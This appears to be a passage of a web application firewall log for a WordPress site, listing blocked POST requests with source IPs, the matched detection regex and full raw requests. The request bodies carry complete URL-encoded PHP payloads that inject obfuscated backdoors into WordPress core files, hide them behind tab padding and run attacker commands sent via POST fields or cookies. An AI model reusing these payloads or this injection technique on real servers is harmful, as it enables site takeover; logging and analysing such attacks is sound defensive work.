29%253B%257Delseif%2528function_exists%2528%2524config_manager2%2529%2529%257Bprint%2520%2524config_manager2%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524config_manager3%2529%2529%257B%2524config_manager3%2528%2524query_handler%252C%2524mrk_val%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524mrk_val%2529%253B%257Delseif%2528function_exists%2528%2524config_manager4%2529%2529%257B%2524config_manager4%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524config_manager5%2529%2526%2526function_exists%2528%2524config_manager6%2529%2526%2526function_exists%2528%2524config_manager7%2529%2529%257B%2524desc_entity%253D%2524config_manager5%2528%2524query_handler%252C%2522r%2522%2529%253Bif%2528%2524desc_entity%2529%257B%2524key_pset%253D%2524config_manager6%2528%2524desc_entity%2529%253B%2524config_manager7%2528%2524desc_entity%2529%253Bprint%2520%2524key_pset%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\ncontent-length:7268\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGSVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWdqKA0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-ch-ua-mobile:?0\n\nLR=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Misc.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524object1%2520%253D%2520%252773%2527%253B%2524object2%2520%253D%2520%252779%2527%253B%2524object3%2520%253D%2520%25276d%2527%253B%2524object4%2520%253D%2520%252768%2527%253B%2524object5%2520%253D%2520%252765%2527%253B%2524object6%2520%253D%2520%252763%2527%253B%2524object7%2520%253D%2520%252778%2527%253B%2524object8%2520%253D%2520%252770%2527%253B%2524object9%2520%253D%2520%252761%2527%253B%2524object10%2520%253D%2520%252774%2527%253B%2524object11%2520%253D%2520%252772%2527%253B%2524object12%2520%253D%2520%25276e%2527%253B%2524object13%2520%253D%2520%252767%2527%253B%2524object14%2520%253D%2520%25276f%2527%253B%2524object15%2520%253D%2520%25276c%2527%253B%2524object16%2520%253D%2520%252771%2527%253B%2524config_manager1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524object1%2520.%2520%2524object2%2520.%2520%2524object1%2520.%2520%252774%2527%2520.%2520%252765%2527%2520.%2520%2524object3%2529%253B%2524config_manager2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527%2520.%2520%2524object4%2520.%2520%2524object5%2520.%2520%25276c%2527%2520.%2520%25276c%2527%2520.%2520%25275f%2527%2520.%2520%252765%2527%2520.%2520%252778%2527%2520.%2520%252765%2527%2520.%2520%2524object6%2529%253B%2524config_manager3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524object5%2520.%2520%2524object7%2520.%2520%252765%2527%2520.%2520%252763%2527%2529%253B%2524config_manager4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524object8%2520.%2520%2524object9%2520.%2520%252773%2527%2520.%2520%2524object1%2520.%2520%2524object10%2520.%2520%252768%2527%2520.%2520%2524object11%2520.%2520%252775%2527%2529%253B%2524config_manager5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527%2520.%2520%25276f%2527%2520.%2520%252770%2527%2520.%2520%252765%2527%2520.%2520%2524object12%2529%253B%2524config_manager6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524object1%2520.%2520%2524object10%2520.%2520%2524object11%2520.%2520%252765%2527%2520.%2520%252761%2527%2520.%2520%25276d%2527%2520.%2520%25275f%2527%2520.%2520%2524object13%2520.%2520%252765%2527%2520.%2520%252774%2527%2520.%2520%25275f%2527%2520.%2520%252763%2527%2520.%2520%2524object14%2520.%2520%25276e%2527%2520.%2520%2524object10%2520.%2520%252765%2527%2520.%2520%25276e%2527%2520.%2520%252774%2527%2520.%2520%2524object1%2529%253B%2524config_manager7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527%2520.%2520%2524object6%2520.%2520%2524object15%2520.%2520%2524object14%2520.%2520%252773%2527%2520.%2520%252765%2527%2529%253B%2524query_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524object16%2520.%2520%252775%2527%2520.%2520%252765%2527%2520.%2520%2524object11%2520.%2520%252779%2527%2520.%2520%25275f%2527%2520.%2520%252768%2527%2520.%2520%2524object9%2520.%2520%25276e%2527%2520.%2520%252764%2527%2520.%2520%2524object15%2520.%2520%252765%2527%2520.%2520%2524object11%2529%253Bif%2528isset%2528%2524_POST%255B%2524query_handler%255D%2529%2529%257B%2524query_handler%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524query_handler%255D%2529%253Bif%2528function_exists%2528%2524config_manager1%2529%2529%257B%2524config_manager1%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524config_manager2%2529%2529%257Bprint%2520%2524config_manager2%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524config_manager3%2529%2529%257B%2524config_manager3%2528%2524query_handler%252C%2524mrk_val%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524mrk_val%2529%253B%257Delseif%2528function_exists%2528%2524config_manager4%2529%2529%257B%2524config_manager4%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524config_manager5%2529%2526%2526function_exists%2528%2524config_manager6%2529%2526%2526function_exists%2528%2524config_manager7%2529%2529%257B%2524desc_entity%253D%2524config_manager5%2528%2524query_handler%252C%2522r%2522%2529%253Bif%2528%2524desc_entity%2529%257B%2524key_pset%253D%2524config_manager6%2528%2524desc_entity%2529%253B%2524config_manager7%2528%2524desc_entity%2529%253Bprint%2520%2524key_pset%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:47:01","52.232.35.131","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Ys:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/network\/site-settings.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B25%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D5%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B25%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B25%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B25%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B5%252B1%253B%257D%2524k%253D%2524p%255B9%255D%2528%2529.%2524p%255B6%255D%253Bif%2528%2521%2524p%255B29%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B26%255D%2528%2524k%252C%2524p%255B18%255D%2529%253B%2524p%255B22%255D%2528%2524n%252C%2524p%255B24%255D.%2524p%255B28%255D%2528%2524p%255B2%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\ncontent-length:3245\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJKZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzSwL2IjqPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-ch-ua-mobile:?0\n\nYs=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/network\/site-settings.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B25%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D5%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B25%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B25%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B25%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B5%252B1%253B%257D%2524k%253D%2524p%255B9%255D%2528%2529.%2524p%255B6%255D%253Bif%2528%2521%2524p%255B29%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B26%255D%2528%2524k%252C%2524p%255B18%255D%2529%253B%2524p%255B22%255D%2528%2524n%252C%2524p%255B24%255D.%2524p%255B28%255D%2528%2524p%255B2%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:47:04","43.230.201.87","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> CJ:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/network\/site-settings.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B25%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D5%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B25%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B25%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B25%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B5%252B1%253B%257D%2524k%253D%2524p%255B9%255D%2528%2529.%2524p%255B6%255D%253Bif%2528%2521%2524p%255B29%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B26%255D%2528%2524k%252C%2524p%255B18%255D%2529%253B%2524p%255B22%255D%2528%2524n%252C%2524p%255B24%255D.%2524p%255B28%255D%2528%2524p%255B2%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\ncontent-length:3245\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvD0bvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupaEcqTyiovV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-ch-ua-mobile:?0\n\nCJ=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/network\/site-settings.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B25%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D5%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B25%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B25%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B25%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B5%252B1%253B%257D%2524k%253D%2524p%255B9%255D%2528%2529.%2524p%255B6%255D%253Bif%2528%2521%2524p%255B29%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B26%255D%2528%2524k%252C%2524p%255B18%255D%2529%253B%2524p%255B22%255D%2528%2524n%252C%2524p%255B24%255D.%2524p%255B28%255D%2528%2524p%255B2%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:47:17","129.121.41.228","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> nL:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/network\/site-settings.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24new_content%20%3D%20str_repeat%28%22%5Ct%22%2C%2042%29.rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B25%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D5%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B25%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B25%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B25%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B5%252B1%253B%257D%2524k%253D%2524p%255B9%255D%2528%2529.%2524p%255B6%255D%253Bif%2528%2521%2524p%255B29%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B26%255D%2528%2524k%252C%2524p%255B18%255D%2529%253B%2524p%255B22%255D%2528%2524n%252C%2524p%255B24%255D.%2524p%255B28%255D%2528%2524p%255B2%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29.%22%5Cn%22%3B%20if%20%28file_exists%28%24path%29%20%26%26%20is_writable%28%24path%29%29%20%7B%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20if%20%28strpos%28%24content%2C%20%24new_content%29%20%21%3D%3D%20FALSE%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20str_replace%28%24new_content%2C%20%27%27%2C%20%24content%29%3B%20%20%20%20%20%20%20%20%20file_put_contents%28%24path%2C%20%24content%29%3B%20%20%20%20%20%20%20%20%20%40touch%28%24path%2C%20%24ft%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21success%21%27%29%3B","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\ncontent-length:2415\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvoxjvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupaEcqTyiovV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 